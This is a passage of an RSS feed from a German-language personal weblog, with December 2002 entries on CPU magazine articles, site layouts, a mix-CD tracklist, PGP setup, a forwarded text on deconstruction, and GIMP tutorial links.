  16525.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16526.    <description><![CDATA[Im neuen <a href="http://heise.de/ct/"><b>c't</b></a> hat es einen Artikel über die neue 64-bit-CPU von AMD und im neuen <a href="http://heise.de/ix/"><b>iX</b></a> ist eine Artikel über die neue 64-bit-CPU von Intel.<br>Wenn ich nun die beiden Prozessoren vergleichen will, muss ich nun beide Magazine kaufen?<br>Verdammte Kapitalisten!
  16527. ]]></description>
  16528.    <content:encoded><![CDATA[Im neuen <a href="http://heise.de/ct/"><b>c't</b></a> hat es einen Artikel über die neue 64-bit-CPU von AMD und im neuen <a href="http://heise.de/ix/"><b>iX</b></a> ist eine Artikel über die neue 64-bit-CPU von Intel.<br>Wenn ich nun die beiden Prozessoren vergleichen will, muss ich nun beide Magazine kaufen?<br>Verdammte Kapitalisten!
  16529. ]]></content:encoded>
  16530.  </item>
  16531.  
  16532.  <item>
  16533.    <title>Winter</title>
  16534.    <link>https://blog.x-way.org/Webdesign/2002/12/15/Winter.html</link>
  16535.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=227</guid>
  16536.    <dc:creator>Andreas Jaggi</dc:creator>
  16537.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16538.    <pubDate>Sun, 15 Dec 2002 04:26:00 +0100</pubDate>
  16539.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16540.    <description><![CDATA[Passend zur Jahreszeit ist jetzt <b>plain 2</b> das neue Standard-Layout.
  16541. ]]></description>
  16542.    <content:encoded><![CDATA[Passend zur Jahreszeit ist jetzt <b>plain 2</b> das neue Standard-Layout.
  16543. ]]></content:encoded>
  16544.  </item>
  16545.  
  16546.  <item>
  16547.    <title>Winterswap</title>
  16548.    <link>https://blog.x-way.org/Misc/2002/12/14/12.html</link>
  16549.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=207</guid>
  16550.    <dc:creator>Andreas Jaggi</dc:creator>
  16551.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16552.    <pubDate>Sat, 14 Dec 2002 00:00:00 +0100</pubDate>
  16553.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16554.    <description><![CDATA[Noch die Tracklist von meiner <a href="https://web.archive.org/web/20021214000000/http://fischergrube.de/swap/"><b>Winterswap</b></a>-Disc:<br><br>1. <a href="https://web.archive.org/web/20021214000000/http://manuchao.net/"><b>Manu Chao</b></a> - Denia<br>2. In-Grid - Tu Es Foutu<br>3. <a href="https://web.archive.org/web/20021214000000/http://www.nerinapallot.co.uk/"><b>Nerina Pallot</b></a> - Patience<br>4. <a href="https://web.archive.org/web/20021214000000/http://univers.mylene-farmer.com"><b>Mylène Farmer</b></a> - Piste 1<br>5. <a href="https://web.archive.org/web/20021214000000/http://www.kateryan.be/"><b>Kate Ryan</b></a> - Désenchantée<br>6. <a href="https://web.archive.org/web/20021214000000/http://www.lehammondinferno.com/"><b>Le Hammond Inferno</b></a> - An Apple A Day<br>7. <a href="https://web.archive.org/web/20021214000000/http://special.the-raft.com/theverve/"><b>The Verve</b></a> - Bitter Sweet Symphony<br>8. <a href="https://web.archive.org/web/20021214000000/http://www.teteonline.com/"><b>Tété</b></a> -  L'abominable Hyde<br>9. <a href="https://web.archive.org/web/20021214000000/http://www.louiseattaque.com/"><b>Louise Attaque</b></a> - Léa<br>10. <a href="https://web.archive.org/web/20021214000000/http://www.manaufficiel.com/"><b>Manau</b></a> - La Tribu De Dana<br>11. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Son style 1<br>12. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Comme Elle Vient<br>13. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - En Route pour la Joie<br>14. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Johnny Colère<br>15. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - It Spurts<br>16. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Lost<br>17. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Fin de Siècle<br>18. <a href="https://web.archive.org/web/20021214000000/http://www.ska-p.net/"><b>Ska-P</b></a> - Legalisation<br>19. <a href="https://web.archive.org/web/20021214000000/http://attaque77.com/"><b>Attaque 77</b></a> - Que vas<br>20. <a href="https://web.archive.org/web/20021214000000/http://www.disquesmpv.com/anonymusmetal/"><b>Anonymus </b></a>- Virtually Insane
  16555. ]]></description>
  16556.    <content:encoded><![CDATA[Noch die Tracklist von meiner <a href="https://web.archive.org/web/20021214000000/http://fischergrube.de/swap/"><b>Winterswap</b></a>-Disc:<br><br>1. <a href="https://web.archive.org/web/20021214000000/http://manuchao.net/"><b>Manu Chao</b></a> - Denia<br>2. In-Grid - Tu Es Foutu<br>3. <a href="https://web.archive.org/web/20021214000000/http://www.nerinapallot.co.uk/"><b>Nerina Pallot</b></a> - Patience<br>4. <a href="https://web.archive.org/web/20021214000000/http://univers.mylene-farmer.com"><b>Mylène Farmer</b></a> - Piste 1<br>5. <a href="https://web.archive.org/web/20021214000000/http://www.kateryan.be/"><b>Kate Ryan</b></a> - Désenchantée<br>6. <a href="https://web.archive.org/web/20021214000000/http://www.lehammondinferno.com/"><b>Le Hammond Inferno</b></a> - An Apple A Day<br>7. <a href="https://web.archive.org/web/20021214000000/http://special.the-raft.com/theverve/"><b>The Verve</b></a> - Bitter Sweet Symphony<br>8. <a href="https://web.archive.org/web/20021214000000/http://www.teteonline.com/"><b>Tété</b></a> -  L'abominable Hyde<br>9. <a href="https://web.archive.org/web/20021214000000/http://www.louiseattaque.com/"><b>Louise Attaque</b></a> - Léa<br>10. <a href="https://web.archive.org/web/20021214000000/http://www.manaufficiel.com/"><b>Manau</b></a> - La Tribu De Dana<br>11. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Son style 1<br>12. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Comme Elle Vient<br>13. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - En Route pour la Joie<br>14. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Johnny Colère<br>15. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - It Spurts<br>16. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Lost<br>17. <a href="https://web.archive.org/web/20021214000000/http://www.noirdez.com/"><b>Noir Désir</b></a> - Fin de Siècle<br>18. <a href="https://web.archive.org/web/20021214000000/http://www.ska-p.net/"><b>Ska-P</b></a> - Legalisation<br>19. <a href="https://web.archive.org/web/20021214000000/http://attaque77.com/"><b>Attaque 77</b></a> - Que vas<br>20. <a href="https://web.archive.org/web/20021214000000/http://www.disquesmpv.com/anonymusmetal/"><b>Anonymus </b></a>- Virtually Insane
  16557. ]]></content:encoded>
  16558.  </item>
  16559.  
  16560.  <item>
  16561.    <title>Enigmail - GnuPP</title>
  16562.    <link>https://blog.x-way.org/Misc/2002/12/12/Enigmail_-_GnuPP.html</link>
  16563.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=226</guid>
  16564.    <dc:creator>Andreas Jaggi</dc:creator>
  16565.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16566.    <pubDate>Thu, 12 Dec 2002 20:37:00 +0100</pubDate>
  16567.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16568.    <description><![CDATA[So, nun kann auch ich sicher kommunizieren ;-)<br>Mit <a href="https://enigmail.net/"><b>Enigmail</b></a> und <a href="http://www.gnupp.de"><b>GnuPP</b></a>.<br><br>Public Key ist <a href="https://blog.x-way.org/stuff/publickey.txt"><b>hier</b></a>
  16569. ]]></description>
  16570.    <content:encoded><![CDATA[So, nun kann auch ich sicher kommunizieren ;-)<br>Mit <a href="https://enigmail.net/"><b>Enigmail</b></a> und <a href="http://www.gnupp.de"><b>GnuPP</b></a>.<br><br>Public Key ist <a href="https://blog.x-way.org/stuff/publickey.txt"><b>hier</b></a>
  16571. ]]></content:encoded>
  16572.  </item>
  16573.  
  16574.  <item>
  16575.    <title>Adventskalender</title>
  16576.    <link>https://blog.x-way.org/Misc/2002/12/12/Adventskalender.html</link>
  16577.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=225</guid>
  16578.    <dc:creator>Andreas Jaggi</dc:creator>
  16579.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16580.    <pubDate>Thu, 12 Dec 2002 18:31:00 +0100</pubDate>
  16581.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16582.    <description><![CDATA[<a href="https://web.archive.org/web/20021225134634/http://www.vnunet.de/internet-pro/workshops2/detail_buecher.asp?ArticleID=5892&amp;AT=17"><b>Hier</b></a> kann man bis zum 24. Dezember insgesamt 8 Bücher gratis herunterladen. ABer jedes Buch nur für eine beschränkte Zeit, fleissiges vorbeischauen lohnt sich!
  16583. ]]></description>
  16584.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021225134634/http://www.vnunet.de/internet-pro/workshops2/detail_buecher.asp?ArticleID=5892&amp;AT=17"><b>Hier</b></a> kann man bis zum 24. Dezember insgesamt 8 Bücher gratis herunterladen. ABer jedes Buch nur für eine beschränkte Zeit, fleissiges vorbeischauen lohnt sich!
  16585. ]]></content:encoded>
  16586.  </item>
  16587.  
  16588.  <item>
  16589.    <title>Geschafft!</title>
  16590.    <link>https://blog.x-way.org/Misc/2002/12/12/Geschafft.html</link>
  16591.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=224</guid>
  16592.    <dc:creator>Andreas Jaggi</dc:creator>
  16593.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16594.    <pubDate>Thu, 12 Dec 2002 08:40:00 +0100</pubDate>
  16595.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16596.    <description><![CDATA[So, nun liegt <a href="http://waterwave.ch/"><b>waterwave.ch</b></a> bei <a href="http://hostpoint.ch/"><b>hostpoint.ch</b></a> und nicht mehr bei dem anderen Server. Nun beginnt eine Zeit, in der man für sein Geld auch einen entsprechenden Service <b>ohne Ausfälle</b> bekommt ;-)
  16597. ]]></description>
  16598.    <content:encoded><![CDATA[So, nun liegt <a href="http://waterwave.ch/"><b>waterwave.ch</b></a> bei <a href="http://hostpoint.ch/"><b>hostpoint.ch</b></a> und nicht mehr bei dem anderen Server. Nun beginnt eine Zeit, in der man für sein Geld auch einen entsprechenden Service <b>ohne Ausfälle</b> bekommt ;-)
  16599. ]]></content:encoded>
  16600.  </item>
  16601.  
  16602.  <item>
  16603.    <title>HTML 2.0</title>
  16604.    <link>https://blog.x-way.org/Webdesign/2002/12/08/HTML_20.html</link>
  16605.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=223</guid>
  16606.    <dc:creator>Andreas Jaggi</dc:creator>
  16607.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16608.    <pubDate>Sun, 08 Dec 2002 14:01:00 +0100</pubDate>
  16609.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16610.    <description><![CDATA[So aus lauter Freude hat's jetzt ein HTML 2.0 konformes Layout gegeben ;-)
  16611. ]]></description>
  16612.    <content:encoded><![CDATA[So aus lauter Freude hat's jetzt ein HTML 2.0 konformes Layout gegeben ;-)
  16613. ]]></content:encoded>
  16614.  </item>
  16615.  
  16616.  <item>
  16617.    <title>Inhotus</title>
  16618.    <link>https://blog.x-way.org/Misc/2002/12/07/Inhotus.html</link>
  16619.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=222</guid>
  16620.    <dc:creator>Andreas Jaggi</dc:creator>
  16621.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16622.    <pubDate>Sat, 07 Dec 2002 20:16:00 +0100</pubDate>
  16623.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16624.    <description><![CDATA[<a href="#" class="gone"><b>Inhotus</b></a> ist ein Systemmonitor für Windows ähnlich wie GKrellM unter Linux.<br><br>Gefunden auf <a href="https://web.archive.org/web/20030130154214/http://www.skinnables.org/"><b>skinnables.org</b></a>
  16625. ]]></description>
  16626.    <content:encoded><![CDATA[<a href="#" class="gone"><b>Inhotus</b></a> ist ein Systemmonitor für Windows ähnlich wie GKrellM unter Linux.<br><br>Gefunden auf <a href="https://web.archive.org/web/20030130154214/http://www.skinnables.org/"><b>skinnables.org</b></a>
  16627. ]]></content:encoded>
  16628.  </item>
  16629.  
  16630.  <item>
  16631.    <title>Design</title>
  16632.    <link>https://blog.x-way.org/Webdesign/2002/12/07/Design.html</link>
  16633.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=221</guid>
  16634.    <dc:creator>Andreas Jaggi</dc:creator>
  16635.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16636.    <pubDate>Sat, 07 Dec 2002 19:12:00 +0100</pubDate>
  16637.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16638.    <description><![CDATA[Maintenant vous pouvez changer le layout de mon weblog au réglage<br><br><a href="http://phrenologik.free.fr/"><b>phrenologik</b></a> est une site à tendance "dark"
  16639. ]]></description>
  16640.    <content:encoded><![CDATA[Maintenant vous pouvez changer le layout de mon weblog au réglage<br><br><a href="http://phrenologik.free.fr/"><b>phrenologik</b></a> est une site à tendance "dark"
  16641. ]]></content:encoded>
  16642.  </item>
  16643.  
  16644.  <item>
  16645.    <title>Neues Design</title>
  16646.    <link>https://blog.x-way.org/Webdesign/2002/12/07/Neues_Design.html</link>
  16647.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=220</guid>
  16648.    <dc:creator>Andreas Jaggi</dc:creator>
  16649.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16650.    <pubDate>Sat, 07 Dec 2002 18:52:00 +0100</pubDate>
  16651.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16652.    <description><![CDATA[Da auch <a href="http://kniebes.com/"><b>mk</b></a> und <a href="https://web.archive.org/web/20021130132122/http://www.sweet-cheeva.de/"><b>chee</b></a> ihrem Weblog ein neues Aussehen geschenkt haben, musste ich die schon länger geplante Erweiterung meines PHP-Irrgartens, den Layout-Switcher, endlich fertig machen. Bei den Einstellungen könnt ihr nun euer Lieblingsdesign auswählen. Vorerst ist zwar nur das Standardlayout plain und das besonders kreative txt verfügbar - später werden's mehr sein ;-)
  16653. ]]></description>
  16654.    <content:encoded><![CDATA[Da auch <a href="http://kniebes.com/"><b>mk</b></a> und <a href="https://web.archive.org/web/20021130132122/http://www.sweet-cheeva.de/"><b>chee</b></a> ihrem Weblog ein neues Aussehen geschenkt haben, musste ich die schon länger geplante Erweiterung meines PHP-Irrgartens, den Layout-Switcher, endlich fertig machen. Bei den Einstellungen könnt ihr nun euer Lieblingsdesign auswählen. Vorerst ist zwar nur das Standardlayout plain und das besonders kreative txt verfügbar - später werden's mehr sein ;-)
  16655. ]]></content:encoded>
  16656.  </item>
  16657.  
  16658.  <item>
  16659.    <title>Dekonstruktohastenichgesehn</title>
  16660.    <link>https://blog.x-way.org/Misc/2002/12/06/Dekonstruktohastenichgesehn.html</link>
  16661.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=219</guid>
  16662.    <dc:creator>Andreas Jaggi</dc:creator>
  16663.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16664.    <pubDate>Fri, 06 Dec 2002 18:18:00 +0100</pubDate>
  16665.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16666.    <description><![CDATA[Kann mir das jemand erklären?<br>von papadelis@t-online.de (wer ist das?) erhalten<br><br>Dekonstruktion (dt.) dient als Schlagwort für eine ganze Reihe von Strömungen in
  16667. Philosophie, Architektur, Kunst und Literatur seit den sechziger Jahren.
  16668. Deconstruction (am.) soll hier im engeren Sinne als Kennzeichen für ein Lektüre-
  16669. und Analyseverfahren von Texten stehen, das sich von hermeneutischen Theorien
  16670. [Querverweis Hermeneutik] und der Praxis der Interpretation abgrenzt.
  16671. Der Unterschied zwischen hermeneutischen und dekonstruktiven
  16672. (antihermeneutischen) Textbefragungen besteht darin, daß der hermeneutische
  16673. Ansatz von einem quasi dialogischen Verhältnis zwischen Text und Interpret
  16674. ausgehen, das auf ein zunehmend besseres Verständnis der im Text enthaltenen
  16675. Botschaft abzielt. Dadurch wird letztlich eine rekonstruierbare Sinneinheit
  16676. unterstellt wird. Dekonstruktivisten bemühen sich um das Gegenteil: sie bemühen
  16677. sich um den Nachweis, daß - und vor allem: wie - ein Text seine Bedeutung selbst
  16678. hinterfragt, durchkreuzt und gerade mit solchen Paradoxien Sinn schafft.
  16679. Dieses Nachspüren von im Text angelegten Widersprüchen wurde - unter Einfluß des
  16680. französischen Philosophen Jacques Derrida - zunächst in Nordamerika praktiziert:
  16681. Literaturwissenschaftler wie Paul de Man, J. Hillis Miller und Geoffrey Hartman
  16682. zeigen in ihren Analysen, wie die Bedeutungsebene (Textsemantik, die
  16683. Signifikate) und die materiale Ebene (die rhetorische Figuralität, die
  16684. Signifikanten gegeneinander arbeiten, indem auch über die materiale Form der
  16685. Zeichen Bedeutung transportiert wird. "Jegliche Sprache ist, wie de Man richtig
  16686. bemerkt, unausweichlich metaphorisch, arbeitet mit Tropen und Bildern, es ist
  16687. ein Fehler zu glauben, daß irgendeine Sprache buchstäblich wörtlich ist."
  16688. (Eagleton, S. 131) In literarischen Texten jedoch tritt die Unentscheidbarkeit
  16689. zwischen 'wortwörtlichen'und figuralen Lesarten deutlicher hervor als in
  16690. anderen.<br>
  16691. Als Wortneuschöpfung vereint der Begriff Dekonstruktion sowohl Sinnkonstruktion
  16692. als auch Sinndestruktion. Auch eine dekonstruktive Lektüre kann nicht auf eine
  16693. vorhergehende hermeneutische Interpretation verzichten. Üblicherweise wird dafür
  16694. zunächst eine semantische bzw. referentielle Lesart vorgeschlagen, deren
  16695. Vereinfachungstendenz in einer zweiten, die rhetorische Ebene des Textes
  16696. betonenden Lesart aufgezeigt wird.<br>
  16697. Daraus ergeben sich verschiedene literaturtheoretische Einsichten: Literatur ist
  16698. der Ort, an dem sich die Utopie der sprachlichen Referenz auf eine der Sprache
  16699. präexistierenden Wirklichkeit zugleich mit der Einsicht in ihre Unmöglichkeit
  16700. zeigt: "Von der Antike bis zu den Versuchen der Avantgarde ist die Literatur
  16701. bemüht, etwas darzustellen. Was? Ich sage ganz hart: das Wirkliche. Das
  16702. Wirkliche ist nicht darstellbar [...] Mit dem Umstand, daß es keine
  16703. Übereinstimmung zwischen dem Wirklichen und der Rede gibt, können die Menschen
  16704. sich nicht abfinden, und diese Weigerung, die vielleicht so alt ist wie die Rede
  16705. selbst, bringt in einem unablässigen Bemühen Literatur hervor. Man könnte sich
  16706. eine Geschichte der Literatur vorstellen [...], die die Geschichte der - oft
  16707. ganz aberwitzigen - verbalen Notbehelfe wäre, die die Menschen benutzt haben, um
  16708. das zu reduzieren, zu zähmen, zu leugnen oder auch das auf sich zu nehmen, was
  16709. immer ein Delirium ist, nämlich die fundamentale Nicht-Adäquatheit von Rede und
  16710. Wirklichem." (S. 32ff.)<br>
  16711. Weiterhin scheint es typisch für dekonstruktive Lesarten zu sein, binäre
  16712. Oppositionen wie Buchstäblichkeit / Bildhaftigkeit, Wissenschaft / Literatur,
  16713. Objektsprache / Metasprache, innen / außen, männlich / weiblich, Geist / Körper,
  16714. Kultur / Natur, Subjekt / Objekt, Signifikat / Signifikant etc. außer Kraft zu
  16715. setzen, weil sie nachweisen, daß bestimmte Regelmäßigkeiten, die einen der
  16716. beiden Begriffe und damit die unterscheidende Grenze zum anderen Begriff
  16717. kennzeichnen, gleichermaßen für den anderen gelten. Darin enthalten ist eine
  16718. fundamentale Ideologie- und Kulturkritik, weil solche binären Oppositionen das
  16719. Denken und die Wahrnehmung nicht nur als Vorstellung einer unüberbrückbaren
  16720. Differenz zwischen den beiden Einheiten prägen, sondern weil zumeist einer der
  16721. beiden Begriffe eine höhere Geltung erlangt als der andere. Dekonstruktion
  16722. erklärt diese Opposition nicht nur für ungültig: Gezeigt wird auch, daß in - oft
  16723. kanonischen - Texten Widerstände gegen diese Vereinheitlichung des Sinns
  16724. eingeschrieben sind. Dekonstruktive Lektüren sind daher mittlerweile
  16725. selbstverständlicher Bestandteil in den verschiedensten literatur- und
  16726. kulturwissenschaftlichen Disziplinen geworden (v.a. Postkolonialismus,
  16727. Feministische Literaturtheorie, Psychoanalytische Literaturwissenschaft.
  16728. ]]></description>
  16729.    <content:encoded><![CDATA[Kann mir das jemand erklären?<br>von papadelis@t-online.de (wer ist das?) erhalten<br><br>Dekonstruktion (dt.) dient als Schlagwort für eine ganze Reihe von Strömungen in
  16730. Philosophie, Architektur, Kunst und Literatur seit den sechziger Jahren.
  16731. Deconstruction (am.) soll hier im engeren Sinne als Kennzeichen für ein Lektüre-
  16732. und Analyseverfahren von Texten stehen, das sich von hermeneutischen Theorien
  16733. [Querverweis Hermeneutik] und der Praxis der Interpretation abgrenzt.
  16734. Der Unterschied zwischen hermeneutischen und dekonstruktiven
  16735. (antihermeneutischen) Textbefragungen besteht darin, daß der hermeneutische
  16736. Ansatz von einem quasi dialogischen Verhältnis zwischen Text und Interpret
  16737. ausgehen, das auf ein zunehmend besseres Verständnis der im Text enthaltenen
  16738. Botschaft abzielt. Dadurch wird letztlich eine rekonstruierbare Sinneinheit
  16739. unterstellt wird. Dekonstruktivisten bemühen sich um das Gegenteil: sie bemühen
  16740. sich um den Nachweis, daß - und vor allem: wie - ein Text seine Bedeutung selbst
  16741. hinterfragt, durchkreuzt und gerade mit solchen Paradoxien Sinn schafft.
  16742. Dieses Nachspüren von im Text angelegten Widersprüchen wurde - unter Einfluß des
  16743. französischen Philosophen Jacques Derrida - zunächst in Nordamerika praktiziert:
  16744. Literaturwissenschaftler wie Paul de Man, J. Hillis Miller und Geoffrey Hartman
  16745. zeigen in ihren Analysen, wie die Bedeutungsebene (Textsemantik, die
  16746. Signifikate) und die materiale Ebene (die rhetorische Figuralität, die
  16747. Signifikanten gegeneinander arbeiten, indem auch über die materiale Form der
  16748. Zeichen Bedeutung transportiert wird. "Jegliche Sprache ist, wie de Man richtig
  16749. bemerkt, unausweichlich metaphorisch, arbeitet mit Tropen und Bildern, es ist
  16750. ein Fehler zu glauben, daß irgendeine Sprache buchstäblich wörtlich ist."
  16751. (Eagleton, S. 131) In literarischen Texten jedoch tritt die Unentscheidbarkeit
  16752. zwischen 'wortwörtlichen'und figuralen Lesarten deutlicher hervor als in
  16753. anderen.<br>
  16754. Als Wortneuschöpfung vereint der Begriff Dekonstruktion sowohl Sinnkonstruktion
  16755. als auch Sinndestruktion. Auch eine dekonstruktive Lektüre kann nicht auf eine
  16756. vorhergehende hermeneutische Interpretation verzichten. Üblicherweise wird dafür
  16757. zunächst eine semantische bzw. referentielle Lesart vorgeschlagen, deren
  16758. Vereinfachungstendenz in einer zweiten, die rhetorische Ebene des Textes
  16759. betonenden Lesart aufgezeigt wird.<br>
  16760. Daraus ergeben sich verschiedene literaturtheoretische Einsichten: Literatur ist
  16761. der Ort, an dem sich die Utopie der sprachlichen Referenz auf eine der Sprache
  16762. präexistierenden Wirklichkeit zugleich mit der Einsicht in ihre Unmöglichkeit
  16763. zeigt: "Von der Antike bis zu den Versuchen der Avantgarde ist die Literatur
  16764. bemüht, etwas darzustellen. Was? Ich sage ganz hart: das Wirkliche. Das
  16765. Wirkliche ist nicht darstellbar [...] Mit dem Umstand, daß es keine
  16766. Übereinstimmung zwischen dem Wirklichen und der Rede gibt, können die Menschen
  16767. sich nicht abfinden, und diese Weigerung, die vielleicht so alt ist wie die Rede
  16768. selbst, bringt in einem unablässigen Bemühen Literatur hervor. Man könnte sich
  16769. eine Geschichte der Literatur vorstellen [...], die die Geschichte der - oft
  16770. ganz aberwitzigen - verbalen Notbehelfe wäre, die die Menschen benutzt haben, um
  16771. das zu reduzieren, zu zähmen, zu leugnen oder auch das auf sich zu nehmen, was
  16772. immer ein Delirium ist, nämlich die fundamentale Nicht-Adäquatheit von Rede und
  16773. Wirklichem." (S. 32ff.)<br>
  16774. Weiterhin scheint es typisch für dekonstruktive Lesarten zu sein, binäre
  16775. Oppositionen wie Buchstäblichkeit / Bildhaftigkeit, Wissenschaft / Literatur,
  16776. Objektsprache / Metasprache, innen / außen, männlich / weiblich, Geist / Körper,
  16777. Kultur / Natur, Subjekt / Objekt, Signifikat / Signifikant etc. außer Kraft zu
  16778. setzen, weil sie nachweisen, daß bestimmte Regelmäßigkeiten, die einen der
  16779. beiden Begriffe und damit die unterscheidende Grenze zum anderen Begriff
  16780. kennzeichnen, gleichermaßen für den anderen gelten. Darin enthalten ist eine
  16781. fundamentale Ideologie- und Kulturkritik, weil solche binären Oppositionen das
  16782. Denken und die Wahrnehmung nicht nur als Vorstellung einer unüberbrückbaren
  16783. Differenz zwischen den beiden Einheiten prägen, sondern weil zumeist einer der
  16784. beiden Begriffe eine höhere Geltung erlangt als der andere. Dekonstruktion
  16785. erklärt diese Opposition nicht nur für ungültig: Gezeigt wird auch, daß in - oft
  16786. kanonischen - Texten Widerstände gegen diese Vereinheitlichung des Sinns
  16787. eingeschrieben sind. Dekonstruktive Lektüren sind daher mittlerweile
  16788. selbstverständlicher Bestandteil in den verschiedensten literatur- und
  16789. kulturwissenschaftlichen Disziplinen geworden (v.a. Postkolonialismus,
  16790. Feministische Literaturtheorie, Psychoanalytische Literaturwissenschaft.
  16791. ]]></content:encoded>
  16792.  </item>
  16793.  
  16794.  <item>
  16795.    <title>GIMP-Tutorials</title>
  16796.    <link>https://blog.x-way.org/Webdesign/2002/12/05/GIMP-Tutorials.html</link>
  16797.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=218</guid>
  16798.    <dc:creator>Andreas Jaggi</dc:creator>
  16799.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16800.    <pubDate>Thu, 05 Dec 2002 13:25:00 +0100</pubDate>
  16801.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16802.    <description><![CDATA[Verschiedene deutsche Tutorials zu <a href="http://gimp.org/"><b>GIMP</b></a>:<br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/04/bildbearbeitung-mit-gimp-teil-1/"><b>Gimp verstehen</b></a><br>-  <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/05/bildbearbeitung-mit-gimp-teil-2/"><b>Nachbearbeitet </b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/06/bildbearbeitung-mit-gimp-teil-3/"><b>Scheibchenweise</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/07/bildbearbeitung-mit-gimp-teil-4/"><b>Angestöpselt</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/08/bildbearbeitung-mit-gimp-teil-5/"><b>Gimpressionen</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/09/bildbearbeitung-mit-gimp-teil-6/"><b>Bilder fürs Web</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/10/bildbearbeitung-mit-gimp-teil-7/"><b>Farbverläufe und Pfade</b></a><br>- <a href="http://www.home.unix-ag.org/simon/gimp/lt2k/talk/"><b>Bildbearbeitung mit Gimp 1.2</b></a><br>- <a href="https://web.archive.org/web/20021208055803/http://www.gimp.de/Grokking_the_Gimp/"><b>Grokking the Gimp</b></a><br>- <a href="https://web.archive.org/web/20030323035440/https://www.mitp.de/imperia/md/content/vmi/0615/0615_Kap03-1.pdf"><b>Gimp in 80 Minuten</b></a><br>- <a href="https://web.archive.org/web/20021208113623/http://www.gm4t9.de/gimp/"><b>die Gimp-Seiten</b></a><br>- <a href="#" class="gone"><b>Fotoretusche mit Gimp</b></a><br>- <a href="https://web.archive.org/web/20021203053702/http://home.t-online.de/home/creativepartners/Gimp/gimp.html"><b>GIMP for Windows</b></a><br>- <a href="https://web.archive.org/web/20030115144135/http://www.lemitec.de/gimp/"><b>Lehrfilme</b></a><br><br>abgestaubt bei <a href="https://web.archive.org/web/20150122234347/http://blog.rompe.org/"><b>rompe</b></a> und <a href="http://kniebes.com/"><b>mk</b></a>
  16803. ]]></description>
